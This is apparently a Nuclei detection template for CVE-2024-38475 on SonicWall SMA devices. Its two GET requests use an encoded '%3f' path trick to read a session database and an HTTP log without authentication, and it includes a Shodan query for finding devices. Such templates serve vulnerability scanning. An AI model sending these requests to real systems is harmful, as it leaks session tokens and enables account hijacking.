Sonicwall - Pre-Authentication Arbitrary File Read

id: CVE-2024-38475

info:
  name: Sonicwall - Pre-Authentication Arbitrary File Read
  author: shaikhyaser
  severity: critical
  description: |
    Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected.  Some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the substitution is appropriately constrained.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SonicWall-PreAuth-RCE-Chain/blob/main/watchTowr-vs-SonicWall-PreAuth-RCE-Chain.py
    - https://labs.watchtowr.com/sonicboom-from-stolen-tokens-to-remote-shells-sonicwall-sma100-cve-2023-44221-cve-2024-38475/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38475
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-38475
    cwe-id: CWE-116
    epss-score: 0.9375
    epss-percentile: 0.99841
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SonicWall" html:"SMA"
  tags: cve,cve2024,sonicwal,sma-100,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tmp/temp.db%3f.1.1.1.1a-1.css"
      - "{{BaseURL}}/mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css"

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "SQLite format","sessionId")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        dsl:
          - 'contains_all(body, "mod_antiloris","[pid")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
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